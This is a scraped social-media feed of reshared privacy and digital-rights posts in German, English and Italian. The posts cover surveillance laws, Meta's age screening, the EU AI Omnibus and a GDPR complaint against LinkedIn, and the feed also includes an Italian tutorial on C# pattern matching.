Die Überwachung in verschiedenen Lebensbereichen hat weiter zugenommen. So hat das Bundeskabinett ein Gesetzespaket zur digitalen Rasterfahndung auf den Weg gebracht.

Vorgesehen sind unter anderem ein biometrischer Internetabgleich sowie KI-gestützte Analysen von Polizeidaten. Der Gesetzentwurf wird im Bundestag und Bundesrat beraten.

🔗 heise.de/news/Digitale-Rasterf…

in reply to Stiftung Datenschutz

Die geplante Datenanalyse, bei der Informationen aus zahlreichen Quellen zusammengeführt werden, könnte umfassende Persönlichkeitsprofile ermöglichen und stößt auf Kritik.

@netzpolitik_feed berichtet, dass KI-Systeme mit persönlichen Daten trainiert werden sollen – teilweise ohne Anonymisierung und in Kooperation mit privaten Unternehmen.

🔗 netzpolitik.org/2026/faq-das-u…

👉 Jetzt ist ein guter Zeitpunkt, sich die Überwachungsgesamtrechnung noch einmal genauer anzusehen.

#TeamDatenschutz

reshared this

The Privacy Post ha ricondiviso questo.

#Meta will uns bis auf die Knochen überwachen – literally! ☠️🦴

Auf der Suche nach Minderjährigen will Meta Nutzer*innen auf Facebook und Instagram umfassend durchleuchten. Eine als KI bezeichnete Software soll unter anderem die Knochenstruktur abgebildeter Personen in Fotos und Videos auswerten.

Warum macht Meta das? Ist das neu? Dürfen die das?

Lest hier meine Analyse @netzpolitik_feed

netzpolitik.org/2026/du-siehst…

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

1/3 🚨 Early this morning, EU lawmakers sealed the deal on the EU's #AIOmnibus.

The outcome of the final negotiations is not surprising, given the massive #deregulation push from parts of the European Commission, the German government, industry actors, and some lawmakers.

But it is still deeply disappointing 🙅🏽‍♀️

With this morning's deal, we will have... 🧵

in reply to EDRi

2/3 🚫 A delay to key high-risk AI obligations, weakening accountability of those developing, selling or deploying AI systems

🚫 A watering down of protections against some risky and harmful AI systems, including through a carve-out for industrial AI

🚫 Less legal certainty, as compliance with important safeguards is postponed and parts of the framework become more fragmented

🚫 A worrying precedent for reopening hard-won #DigitalRights protections before they have even had the chance to apply

in reply to EDRi

3/3 The message is clear: when powerful actors complain loudly enough, safeguards can be recast as burdens and rules that protect people can be reopened.

❤️‍🩹 This does not make the EU digital rulebook simpler. It makes it weaker, harder to enforce, and less protective of people’s rights.

It also confirms a dangerous direction of travel: companies are being given more space to mark their own homework, while #FundamentalRights, justice and democratic oversight are pushed further to the margins.

reshared this

The Privacy Post ha ricondiviso questo.

Auf der Suche nach Minderjährigen will Meta Nutzer*innen auf Facebook und Instagram umfassend durchleuchten. Der Konzern will sogar die Knochenstruktur von Menschen auf Fotos auswerten. Wie gefährlich ist das? Die Analyse @sebmeineck

netzpolitik.org/2026/du-siehst…

The Privacy Post ha ricondiviso questo.

Das „Schwarze Loch“ für die unregulierte Datenanalyse: Europol entzog eine mutmaßlich illegale Schatten-IT jahrelang der Kontrolle. Dennoch will die EU-Kommission Europol nun mit deutlich mehr Budget und Personal ausstatten netzpolitik.org/2026/correctiv…
The Privacy Post ha ricondiviso questo.

Das war ja klar, dass in Baden-Württemberg unter Özdemir und Hagel ein Ausbau der Überwachung zu erwarten ist. Aber dass dann gleich alle Hemmschwellen fallen ... Im Koalitionsvertrag versprechen die Herren, in drei Städten Videokameras zu installieren, die gleichzeitig Verhalten und Gesichter erkennen können. Die Kombination beider Technologien galt bislang als unvermittelbar, weil jede einzelne schon so tief in die Persönlichkeitsrechte eingreift. Aber naja, da sind wir. netzpolitik.org/2026/koalition…
The Privacy Post ha ricondiviso questo.

Grün-Schwarz will in Baden-Württemberg als erstem Bundesland doppelte KI-Videoüberwachung ausrollen: Kameras, die Menschen auf verdächtiges Verhalten überprüfen und sie gleichzeitig mit Gesichtserkennung analysieren. In Mannheim und zwei weiteren Städten soll das Pilotprojekt starten. netzpolitik.org/2026/koalition…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

📰 "Selling data to its own users is a popular practice among companies. In reality, however, people have the right to receive their own data free of charge," Noyb data protection lawyer Martin Baumann said. #LinkedIn #GDPR

👉 Read more: theregister.com/2026/05/05/lin…

Questa voce è stata modificata (1 mese fa)

reshared this

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

DigiCert Breached via Weaponized Screensaver: Threat Actor Steals EV Code Signing Certificates to Spread Zhong Stealer
#CyberSecurity
securebulletin.com/digicert-br…
The Privacy Post ha ricondiviso questo.

Die Alterskontroll-App der EU- Kommission nutzt ein Verfahren von Google-Entwicklern. IT-Fachleute warnen vor Abhängigkeiten und Datenschutzrisiken – auch mit Blick auf die geplante EUDI-Wallet.

netzpolitik.org/2026/europaeis…

in reply to netzpolitik.org

Ich frag mich ja immer noch, wofür diese digitale Funktion im Personalausweis in Verbindung mit der Ausweis-App gut ist? Warum muss ich personenbezogene und sensible Daten an weitere Akteure offenlegen, obwohl es doch schon Möglichkeiten gäbe, auch wenn diese evtl. weiterentwickelt werden müssten? Ist "digitale Unabhängigeit" nur ne moderne Worthülse? Wer profitiert von diesem Unfug oder ist es einfach nur mangelnde Kompetenz?
in reply to netzpolitik.org

Wenn es ja nur das Verfahren (also der Algorithmus) wäre! Die App nutzt aber sogar Googles Implementation (als Programmbibliothek). Die kann Google jederzeit ändern. Das heißt: Selbst wenn diese Bibliothek momentan datenschutzkonform arbeiten sollte, kann sich das durch ein Update jederzeit ändern.

/cc @dleisegang

Questa voce è stata modificata (1 mese fa)
The Privacy Post ha ricondiviso questo.

Danke für die stetige Berichterstattung, @netzpolitik_feed!

Die Kritik an den verschiedenen geplanten Elementen von Massenüberwachung geht in vielen Medien unter.


Die Bundesdatenschutzbeauftragte warnt weiterhin vor der #Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“. Auch die Datenschutzkonferenz fordert die EU-Gesetzgeber auf, die Chatkontrolle „endgültig abzusagen“.

netzpolitik.org/2026/anlasslos…


The Privacy Post ha ricondiviso questo.

Auch in #SchleswigHolstein sind wir vor einem dystopischen #Polizeigesetz nicht gefeit.

netzpolitik.org/2026/polizeige…

Danke für die unermüdliche Berichterstattung @netzpolitik_feed!

#überwachung #dystopie #überwachungsstaat #polizei #PolizeiSH

The Privacy Post ha ricondiviso questo.

Fuck tha Police - Gli agenti di polizia 🦘australiani 🦘 possono essere rintracciati a causa di una falla di sicurezza nei taser e nelle telecamere indossabili

I taser e le telecamere indossabili con tecnologia Bluetooth, utilizzati da migliaia di agenti di polizia australiani, possono inavvertitamente rivelare la loro posizione in tempo reale a qualsiasi criminale in possesso di un telefono o di un computer portatile.

Le forze di polizia di tutto il paese sono state avvertite della falla di sicurezza. Ma nonostante i rischi per la sicurezza, soprattutto per gli agenti in borghese, nelle unità tattiche o che portano a casa la propria attrezzatura, nessuno sembra aver preso provvedimenti.

abc.net.au/news/2026-05-04/pol…

@privacypride

The Privacy Post ha ricondiviso questo.

Die Bundesdatenschutzbeauftragte warnt weiterhin vor der #Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“. Auch die Datenschutzkonferenz fordert die EU-Gesetzgeber auf, die Chatkontrolle „endgültig abzusagen“.

netzpolitik.org/2026/anlasslos…

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Pattern matching in C#: scenari avanzati che probabilmente non conosci
#tech
spcnet.it/pattern-matching-in-…
@informatica


Pattern matching in C#: scenari avanzati che probabilmente non conosci


Il pattern matching in C# non è solo un modo più elegante di scrivere condizioni: è un cambio di paradigma nel modo in cui si ragiona sulla struttura dei dati. A partire da C# 7 e con evoluzioni significative nelle versioni successive, il pattern matching è diventato uno strumento potentissimo per scrivere codice più leggibile, manutenibile e talvolta anche più efficiente.

In questo articolo esploreremo i pattern avanzati che molti sviluppatori .NET tendono a ignorare o a sottoutilizzare, partendo da un progetto concreto che dimostra ogni scenario.

Setup del progetto di esempio


Prima di tutto, creiamo un’applicazione console di test:

dotnet new console -n PatternMatchingDemo
cd PatternMatchingDemo

Definiamo i modelli come record, ideali per il pattern matching grazie alla loro natura value-based:
namespace PatternMatchingDemo.Records;

public record Address(string City, string Country);
public record User(string Name, int Age, Address Address, List<string> Roles);
public record Request(string Source, int Priority);
public record Point(int X, int Y);

E popoliamo alcune collezioni di test:
var users = new List<User>
{
    new("Ali", 25, new Address("Milano", "Italy"), new List<string> { "Admin", "User" }),
    new("Sara", 17, new Address("Roma", "Italy"), new List<string> { "User" }),
    new("Kennedy", 65, new Address("London", "UK"), new List<string> { "Guest" })
};

var requests = new List<Request>
{
    new("System", 10),
    new("User", 3),
    new("System", 2)
};

Property Pattern: matching annidato


Uno dei pattern più utili è il property pattern, che permette di verificare le proprietà di un oggetto direttamente nell’espressione di matching, incluse proprietà annidate:

foreach (var user in users)
{
    if (user is { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} è di Milano");
    }
}

Il confronto tradizionale richiederebbe:
if (user != null && user.Address != null && user.Address.City == "Milano")

La versione con property pattern è non solo più compatta, ma anche null-safe per definizione: se user o user.Address sono null, il pattern semplicemente non matcha.

Pattern con not: negazione elegante

foreach (var user in users)
{
    if (user is not { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} non è di Milano");
    }
}

Il keyword not inverte il risultato del pattern, rendendo esplicito il significato senza bisogno di operatori logici aggiuntivi.

Matching su casi multipli con or

foreach (var user in users)
{
    if (user is { Address.City: "Milano" or "Roma" })
    {
        Console.WriteLine($"{user.Name} vive in una grande città italiana");
    }
}

Il combinatore or all’interno di un pattern è molto più leggibile di una serie di condizioni concatenate con ||, specialmente quando le condizioni riguardano la stessa proprietà.

Pattern Matching dentro LINQ


Il pattern matching si integra perfettamente con LINQ, permettendo query molto espressive:

var adultiItaliani = users
    .Where(u => u is { Age: > 18, Address.Country: "Italy" })
    .ToList();

foreach (var user in adultiItaliani)
{
    Console.WriteLine($"{user.Name} è un adulto italiano");
}

Questa combinazione è particolarmente potente per filtrare DTO complessi, validare oggetti di dominio o implementare query su collezioni in memoria.

Pattern relazionali e logici


I pattern relazionali (>, <, >=, <=) combinati con i pattern logici (and, or) permettono di esprimere range e condizioni composite in modo molto naturale:

foreach (var user in users)
{
    if (user.Age is > 18 and < 60)
    {
        Console.WriteLine($"{user.Name} è un adulto lavorativo");
    }
    else if (user.Age is < 18 or > 60)
    {
        Console.WriteLine($"{user.Name} appartiene a una categoria di età speciale");
    }
}

Switch Expression


La switch expression (introdotta in C# 8) è una versione compatta e restituisce un valore. Elimina la verbosità del tradizionale switch statement:

foreach (var user in users)
{
    var categoria = user.Age switch
    {
        < 13 => "Bambino",
        < 20 => "Adolescente",
        < 60 => "Adulto",
        _     => "Senior"
    };

    Console.WriteLine($"{user.Name} => {categoria}");
}

Rispetto allo switch classico, la versione expression è più concisa, obbliga a coprire tutti i casi (o aggiungere il wildcard _) e restituisce direttamente un valore senza variabili intermedie.

Pattern Type + Condition


Il pattern di tipo permette di verificare il tipo di un oggetto e aggiungere una condizione contemporaneamente:

object value = 150;

// Modo tradizionale
if (value is int number && number > 100)
{
    Console.WriteLine("Numero grande (vecchio stile)");
}

// Con pattern matching
if (value is int and > 100)
{
    Console.WriteLine("Numero grande (pattern matching)");
}

Questo è particolarmente utile quando si lavora con object, dynamic, o con gerarchie di tipi complesse.

List Pattern (C# 11+)


Introdotto in C# 11, il list pattern consente di matchare la struttura e il contenuto di array e liste:

int[] nums = { 1, 2, 3 };

if (nums is [1, 2, 3])
{
    Console.WriteLine("Match esatto");
}

if (nums is [1, .., 3])
{
    Console.WriteLine("Inizia con 1 e finisce con 3");
}

if (nums is [_, _, _])
{
    Console.WriteLine("Array con esattamente 3 elementi");
}

Il slice pattern .. è molto flessibile: può matchare zero o più elementi nel mezzo di una sequenza. Questo pattern è molto utile per validare payload di API che arrivano come array, controllare header HTTP, o verificare strutture di dati fisse.

Positional Pattern

var point = new Point(10, 20);

if (point is (10, 20))
{
    Console.WriteLine("Il punto è (10,20)");
}

// Con switch expression
var descrizione = point switch
{
    (0, 0) => "Origine",
    (_, 0) => "Sull'asse X",
    (0, _) => "Sull'asse Y",
    _      => $"Punto generico ({point.X},{point.Y})"
};
Console.WriteLine(descrizione);

Il positional pattern decostruisce l’oggetto usando il metodo Deconstruct (disponibile automaticamente per i record) e permette di matchare ogni componente individualmente.

Combined Pattern: la vera potenza


Combinare più pattern insieme permette di esprimere logica di business complessa in modo dichiarativo:

foreach (var user in users)
{
    if (user is
        {
            Age: > 18,
            Address.Country: "Italy",
            Roles: ["Admin", ..]
        })
    {
        Console.WriteLine($"{user.Name} è un admin adulto italiano");
    }
}

Questo esempio combina property pattern annidato, relational pattern e list pattern in un’unica espressione. In scenari reali, questa tecnica è applicabile per authorization checks, validazione di DTO, o routing di request handler.

Null Pattern

User? maybeUser = null;

if (maybeUser is not null)
{
    Console.WriteLine("L'utente esiste");
}
else
{
    Console.WriteLine("L'utente è null");
}

Il null pattern con is not null è semanticamente più preciso di != null in contesti di nullable reference types, ed è la forma raccomandata nelle linee guida di C# moderno.

Guard Clause nelle switch expression

int number = 7;

var result = number switch
{
    int n when n % 2 == 0 => "Pari",
    int n when n % 2 != 0 => "Dispari",
    _ => "Sconosciuto"
};

Console.WriteLine(result);

La clausola when aggiunge una condizione aggiuntiva a un pattern. Utile quando il solo pattern non è sufficiente a discriminare i casi.

Request Handling pattern


Un esempio pratico di uso combinato in un sistema di routing delle request:

foreach (var request in requests)
{
    var response = request switch
    {
        { Source: "System", Priority: > 5 } => "Richiesta di sistema critica",
        { Source: "User",   Priority: <= 5 } => "Richiesta utente normale",
        _ => "Fallback generico"
    };

    Console.WriteLine($"{request.Source} ({request.Priority}) => {response}");
}

Questo schema è applicabile in moltissimi contesti: event sourcing, command dispatcher, middleware pipeline, validazione di business rules.

Considerazioni sulle performance


Oltre alla leggibilità, il pattern matching in C# è progettato per essere efficiente. Il compilatore ottimizza le switch expression in jump table o sequenze di confronto ottimizzate. Per tipi primitivi, le performance sono equivalenti o superiori a catene di if-else.

Per scenari di alta performance con molti branch (es. parser, protocol handler), vale la pena misurare con BenchmarkDotNet, ma nella stragrande maggioranza dei casi applicativi il pattern matching non introduce overhead significativo.

Conclusione


Il pattern matching in C# è uno strumento che va ben oltre il semplice is o lo switch. Combinando property pattern, list pattern, relational pattern e switch expression, è possibile scrivere logica complessa in modo dichiarativo e leggibile.

La chiave per sfruttarlo al meglio è conoscere tutti i tipi di pattern disponibili e riconoscere le situazioni in cui possono sostituire costrutti più verbosi. Un codice che legge come il problema che risolve è un codice di qualità superiore.

Il codice sorgente di esempio è disponibile su GitHub: github.com/elmahio-blog/Patter…


Fonte originale: Pattern matching in C#: Advanced scenarios you didn’t know — elmah.io Blog


The Privacy Post ha ricondiviso questo.

Schleswig-Holstein ist ganz vorne mit dabei, wenn es um die Entwicklung von Überwachungs-Dystopien geht. Das schwarz-grün regierte Bundesland will sich Verhaltensscanner, Echtzeit-Gesichtserkennung, Internet-Gesichtersuche, Datenanalyse a la Palantir und eine Ausweitung der Videoüberwachung erlauben. Ach ja: Bis zu acht Wochen Prophylaxe-Haft für Menschen, die in Freiheit womöglich Ordnungswidrigkeiten begehen, kommen auch noch dazu. Expert*innen gehen mit dem Entwurf hart ins Gericht. Heute wurde er erstmals im Landtag verhandelt. netzpolitik.org/2026/polizeige…
The Privacy Post ha ricondiviso questo.

Heute haben die Abgeordneten im Landtag von Schleswig-Holstein erstmals eine Novelle des Polizeigesetzes diskutiert. Es geht um Verhaltensscanner und Gesichtserkennung. Expert*innen zweifeln, ob das Gesetz verfassungsgemäß ist; die Opposition warnt vor einer Dystopie. netzpolitik.org/2026/polizeige…
The Privacy Post ha ricondiviso questo.

Il Garante per la protezione dei dati personali partecipa alla Race for the Cure, l’iniziativa di Komen Italia

Il 7 e 8 maggio, al Circo Massimo, all’interno del Villaggio della Salute, il #GarantePrivacy sarà presente con uno spazio informativo dedicato al diritto all’oblio oncologico. Sarà un’occasione aperta a tutti per ricevere informazioni e orientamento su come esercitare tale diritto nei confronti di banche, assicurazioni, datori di lavoro e nell’ambito delle procedure di adozione

@Privacy Pride

gpdp.it/home/docweb/-/docweb-d…

The Privacy Post ha ricondiviso questo.

:fsfe: May Newsletter! 🗞️

🔸 April brought LLW, where we gathered with Legal Network members
🔹 #DMA legislation is keeping us busy: we are exposing how Apple keeps blocking third-party developers, denying their interoperability requests.
🔸 On a brighter note, over ten years of advocacy paid off: the @EUCommission is protecting users' right to install any software on radio devices. 🚀
🔹 And we reached episode 50 in our SFP!🎧 🎉

fsfe.org/news/nl/nl-202605.en.…
#SoftwareFreedom #RED #Freesoftware

The Privacy Post reshared this.

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

🎙️ BREAKING NEWS!!1! noyb has filed a #GDPR complaint against #Linkedin 📝 Why? The #Microsoft​ subsidiary tracks the visits to profile pages. However, if you want to see who has visited your own profile, you have to pay. 💸

To learn more, visit: noyb.eu/en/linkedin-locks-your…

The Privacy Post ha ricondiviso questo.

1 Jahr Merz-Regierung, 1 Jahr Intransparenz: Schon vor ihrem Amtsantritt wollte die CDU das Informationsfreiheitsgesetz abschaffen. Seit dem setzt die schwarz-rote Koalition immer wieder auf Abschottung und Schweigen, anstatt gesetzlichen Auskunftspflichten nachzukommen. Das ist gefährlich, denn gerade mehr Transparenz könnte autoritären Entwicklungen und Desinformation etwas entgegensetzen.

Die ganze Bilanz lest ihr bei den Kolleg*innen von @netzpolitik_feed

netzpolitik.org/2026/ein-jahr-…

The Privacy Post ha ricondiviso questo.

Eine Recherche von @ckoever und @yoshiXYZ wurde mit einem Sonderpreis bei der Verleihung des Datenschutz Medienpreises prämiert. Wir freuen uns sehr über die Auszeichnung und gratulieren den Kolleg:innen! 🍾 🎉 🏆

netzpolitik.org/2026/datenschu…

The Privacy Post ha ricondiviso questo.

EDRi condemns Zambia's de facto cancellation of #RightsCon2026 following Chinese pressure.

This violates freedom of expression & assembly and further strains the digital rights and democracy community at a critical moment.

We stand with @accessnow.bsky.social and Bloggers for Zambia.

Full statement → epd.eu/news-publications/state…

reshared this

The Privacy Post ha ricondiviso questo.

Von Katherina Reiches Lobby-Gipfel in den Alpen bis zu Wolfram Weimers Buchhandlungspreis: Das erste Jahr Schwarz-Rot ist geprägt von skandalöser Intransparenz und zähem Ringen um Informationsfreiheit.

Der vielleicht größte Umbruch: Unter Bundeskanzler Friedrich Merz ist Transparenz erstmals seit langem kein politisches Ziel mehr.

Eine vernichtende Bilanz zum Einjährigen von @fragdenstaat @lobbycontrol & @a_watch

Aufgeschrieben von @roofjoke

netzpolitik.org/2026/ein-jahr-…

Questa voce è stata modificata (1 mese fa)
in reply to netzpolitik.org

Und wie steht es jetzt mit dem Auskunftverhalten der Merz Regierung nachdem BlackRock am DAX so viel verdient hat? Da gab es doch neulich eine Dividenden Rekord Ausschüttung? abgeordnetenwatch.de/recherche…